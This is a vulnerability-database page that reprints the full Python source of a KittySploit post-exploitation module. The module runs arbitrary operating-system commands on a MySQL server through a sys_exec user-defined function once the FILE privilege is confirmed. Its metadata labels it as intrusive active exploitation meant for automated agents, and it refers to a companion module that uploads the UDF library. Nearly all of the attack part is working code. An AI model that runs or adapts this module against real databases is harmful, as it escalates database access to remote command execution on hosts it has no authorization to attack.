Lucene search
+L

MySQL UDF Command Execution

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Execute system commands via MySQL UDF with FILE privilege.

Refs
Code
from kittysploit import *
from lib.protocols.mysql.mysql_client import MySQLClient
import platform

class Module(Post, MySQLClient):

	__info__ = {
		"name": "MySQL UDF Command Execution",
		"description": "Execute system commands via MySQL UDF (User Defined Functions) - requires FILE privilege",
		"author": "KittySploit Team",
		"session_type": SessionType.MYSQL,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['db_access', 'rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [{'capability': 'db_access', 'from_detail': ''}, {'capability': 'rce', 'from_detail': ''}],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}	

	command = OptString("id", "Command to execute", True)
	udf_lib_path = OptString("", "Path to UDF library (auto-detect if empty)", False)

	def run(self):
		"""Execute command via MySQL UDF"""
		try:
			if not self.check_privilege('FILE'):
				raise ProcedureError(FailureType.NotAccess, "FILE privilege required for UDF exploitation")
			
			print_success("FILE privilege confirmed")
			
			secure_file_priv = self.get_secure_file_priv()
			if secure_file_priv and secure_file_priv != '':
				print_warning(f"secure_file_priv is set to: {secure_file_priv}")
				print_info("UDF exploitation may be limited")
			
			plugin_dir = self.get_plugin_dir()
			if not plugin_dir:
				raise ProcedureError(FailureType.NotAccess, "Cannot determine plugin directory")
			
			print_info(f"Plugin Directory: {plugin_dir}")
			
			# Determine OS and architecture
			system = platform.system().lower()
			if 'linux' in system:
				os_type = 'linux'
			elif 'win' in system or 'nt' in system:
				os_type = 'windows'
			else:
				raise ProcedureError(FailureType.NoTarget, f"Unsupported OS: {system}")
			
			# For now, we'll use a simpler approach: create a function that uses sys_exec
			# Note: This requires the sys_exec UDF to be already installed
			# In a real scenario, you would need to upload the UDF library first
			
			print_warning("UDF exploitation requires the UDF library to be installed first")
			print_info("This module attempts to use existing UDF functions")
			print_info("For full exploitation, use: mysql/exploits/udf_upload")
			
			# Try to use sys_exec if available
			try:
				result = self.execute_query("SELECT sys_exec(%s) as result", (self.command,), fetch_all=False)
				if result:
					output = result.get('result', '')
					if output:
						print_success("Command executed:")
						print_info(output)
						return True
			except ProcedureError as e:
				if "does not exist" in str(e) or "Unknown function" in str(e):
					print_warning("sys_exec UDF not available")
					print_info("You may need to upload and install the UDF library first")
					raise ProcedureError(FailureType.NotAccess, "UDF function not available. Use mysql/exploits/udf_upload first.")
				else:
					raise
			
			return True
			
		except ProcedureError:
			raise
		except Exception as e:
			raise ProcedureError(FailureType.Unknown, f"Error executing command: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
0